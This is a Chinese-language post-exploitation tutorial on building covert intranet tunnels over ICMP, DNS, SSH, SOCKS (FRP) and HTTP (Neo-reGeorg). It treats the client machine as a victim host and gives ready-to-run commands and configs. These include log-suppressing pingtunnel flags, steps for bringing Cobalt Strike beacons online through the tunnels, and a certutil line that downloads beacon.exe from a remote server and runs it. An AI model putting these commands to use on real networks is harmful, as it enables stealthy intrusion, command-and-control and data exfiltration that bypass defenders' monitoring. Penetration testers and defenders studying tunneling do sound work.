内网隧道技术详解
一、前言
内网隧道(Intranet tunnel)指的是通过网络隧道的方式,将内网的服务映射到公网上,从而使得外部主机可以访问内网资源。在后渗透阶段,内网隧道的搭建可以帮助攻击者在内部网络中进行更加隐蔽和灵活的操作,从而更好地实现攻击目标。网络隧道还可以帮助我们绕过内网防御、横向渗透、数据转移、隐藏攻击行为。
二、ICMP隧道
1. ICMP协议简介
ICMP(Internet Control Message Protocol)Internet控制报文协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。ICMP通过PING命令访问远程计算机,建立ICMP隧道,将TCP/UDP数据封装到ICMP的PING数据包中,从而穿过防火墙,因为防火墙一般不会屏蔽PING数据包,实现不受限制的访问。
2. 隧道搭建工具
使用Pingtunnel工具,项目地址: https://github.com/esrrhs/pingtunnel
Pingtunnel把tcp/udp/sock5流量伪装成icmp流量进行转发的工具,跨平台。
服务端配置(VPS):
sudo ./pingtunnel -type server -key [密钥,只限数字]
sudo ./pingtunnel -type server -key 000000
客户端配置(受害主机):
pingtunnel.exe -type client -l :[转发本机2222端口作为ICMP隧道通讯端口] -s [服务端IP] -[转发类型] 1 -noprint 1 -nolog 1
pingtunnel.exe -type client -l :2222 -s 1.x.x.x -sock5 1 -noprint 1 -nolog 1
流量转发示例:
# ICMP转发为TCP
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
# ICMP转发为UDP
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455
3. 利用方式
Pingtunnel上线Cobaltstrike
-
搭建ICMP隧道
- 服务端:
sudo ./pingtunnel -type server -key 000000 - 客户端:
pingtunnel.exe -type client -l 127.0.0.1:2222 -s 1.x.x.x -t x.x.x.x:3333 -tcp 1 -noprint 1 -nolog 1 -key 000000
- 服务端:
-
Cobaltstrike新建两个监听:
- 一个为转发ICMP的2222端口(host为127.0.0.1)
- 另一个监听端口为ICMP流量转发到VPS的服务端口3333
-
生成cs马并执行,流量通过ICMP隧道间接上线
Pingtunel配合iox代理socks出网
- 服务端搭建ICMP隧道:
sudo ./pingtunnel -type server -noprint 1 -nolog 1 -key 000000 - 客户端启动Pingtunnel:
pingtunnel.exe -type client -l 127.0.0.1:3389 -s 1.x.x.x -t 1.x.x.x:3333 -tcp 1 -noprint 1 -nolog 1 -key 000000 - 服务端启动iox:
./iox proxy -l 3333 -l 4444 - 客户端启动iox:
iox.exe proxy -r 127.0.0.1:3389 - 通过proxifier代理socks流量访问内网
三、DNS隧道
1. DNS隧道简介
DNS隧道是将其它协议的内容封装在DNS协议中,以DNS请求和响应包完成传输数据的技术。使用DNS隧道需要使用一个子域名来进行隧道通信。
2. 隧道搭建工具
使用dnscat2,项目地址: https://github.com/iagox86/dnscat2
配置步骤:
- 配置子域名解析(添加A记录和NS记录)
- 开放udp、tcp 53端口
- 服务端配置:
cd dnscat2/server sudo ruby dnscat2.rb log.xxx.xxx -c 000000 - 客户端配置:
dnscat2-v0.07-client-win32.exe --secret=000000 log.xxx.xxx --delay 5000
3. 利用方式
dnscat2上线Cobastrike
- Cobastrike启动监听
- 服务端启动:
sudo ruby ./dnscat2.rb log.xxx.xxx -e open -c 000000 --no-cache - 客户端启动:
dnscat2-v0.07-client-win32.exe --secret=000000 log.xxx.xxx --delay 5000 - 通过certutil下载并执行beacon上线:
certutil.exe -urlcache -split -f http://x.x.x.x:4444/beacon.exe C:\Users\Public\beacon.exe C:\Users\Public\beacon.exe
四、SSH隧道
1. SSH隧道简介
SSH隧道(SSH Tunnel)是通过SSH协议建立的安全网络通道,可以将本地计算机和远程服务器之间的通信流量加密传输,用于传输不安全的协议或访问受限资源,还可以用来绕过防火墙限制。
2. 隧道类型
本地端口转发
将本地计算机上的端口映射到远程计算机上的技术。
配置步骤:
- 跳板机修改ssh配置:
AllowTcpForwarding yes GatewayPorts yes PermitRootLogin yes TCPKeepAlive yes - 攻击机建立隧道:
ssh -CfNg -L 8888:192.168.20.200:22 funsiooo@192.168.11.128 - 通过本机连接内网主机:
ssh -p 8888 root@127.0.0.1
远程端口转发
将远程计算机上的端口映射到本地计算机上的端口的技术。
配置步骤:
- 跳板机执行:
ssh -R 2222:192.168.20.200:22 root@192.168.11.137 - 攻击机访问内网主机:
ssh -p 2222 root@127.0.0.1
动态转发(SOCKS代理)
在本地计算机上设置一个SOCKS代理,通过SSH隧道将网络流量转发到远程服务器上。
配置步骤:
- 服务端开启转发功能:
GatewayPorts yes - 客户端开启本地代理:
ssh -qTfnN -D 0.0.0.0:135 funsiooo@localhost - 远程转发到公网VPS:
ssh -qTfnN -R 0.0.0.0:2222:0.0.0.0:135 root@公网vps - 使用Proxifier连接Socks
五、Socks隧道
1. SOCKS协议简介
SOCKS(Socket Secure)是一种网络协议,它允许客户端通过一个代理服务器访问互联网。SOCKS5是最新版本,支持加密认证和数据加密等功能。
2. 隧道搭建工具
使用FRP + proxifier实现,项目地址: https://github.com/fatedier/frp
服务端配置(frps.ini):
[common]
bind_addr = 0.0.0.0
bind_port = 7000
dashboard_addr = 0.0.0.0
dashboard_port = 7500
dashboard_user = root
dashboard_pwd = root
token = 1q2w3e
heartbeat_timeout = 90
max_pool_count = 5
客户端配置(frpc.ini):
[common]
tls_enable = true
server_addr = x.x.x.x
server_port = 7000
token = 1q2w3e
pool_count = 5
protocol = tcp
health_check_type = tcp
health_check_interval_s = 100
[test]
remote_port = 40000
plugin = socks5
use_encryption = true
use_compression = true
使用方法:
- 服务端启动:
./frps -c frps.ini - 客户端启动:
frpc.exe -c frpc.ini - 使用proxifier连接
3. 利用方式 - frp多级代理
-
第一层代理搭建:
- 服务端frps.ini配置基本参数
- 客户端frpc.ini配置socks5代理
- 通过proxifier连接第一层代理
-
第二层网络搭建:
- 跳板机-1上启动frps服务
- 跳板机-2上启动frpc客户端
- proxifier设置代理链访问第二层内网
六、HTTP隧道
1. HTTP隧道简介
HTTP隧道是一种使用HTTP协议进行数据传输的技术,它可以将内网中的服务映射到公网地址上,实现内网穿透的功能。
2. 隧道搭建工具
使用Neo-reGeorg,项目地址: https://github.com/L-codes/Neo-reGeorg
配置步骤:
- 生成隧道脚本:
python3 neoreg.py generate -k password - 上传脚本到WEB服务器
- 连接隧道:
python3 neoreg.py -k password -u http://192.168.11.133:8003/tunnel.php -p 2333 - 利用proxifier连接socks访问内网
七、扩展知识
1. 出网类型检测
| 协议 | 检测命令 |
|---|---|
| ICMP | ping ip/domain |
| HTTP | curl ip or domain |
| DNS | nslookup domain 8.8.8.8 |
| TCP/UDP | telnet ip port |
2. 代理类型
- 正向代理(Forward Proxy): 代理服务器向外部网络发送请求,用于内部网络无法直接访问外部网络的情况。
- 反向代理(Reverse Proxy): 代理服务器向内部网络发送请求,用于外部网络无法直接访问内部网络的情况。
3. 连接类型
- 正向连接: 客户端向服务器发起连接请求(受害者主机具备公网IP可出网)
- 反向连接: 服务器主动向客户端发起连接请求(内网主机能出网但没有公网IP)
八、总结
通过学习各种隧道技术,可以灵活选择适合的工具和方法实现内网穿透。不同协议和工具有各自的特点和适用场景,需要根据实际网络环境和需求进行选择。关键是要理解各种隧道的工作原理和配置方法,才能在实际渗透测试中灵活运用。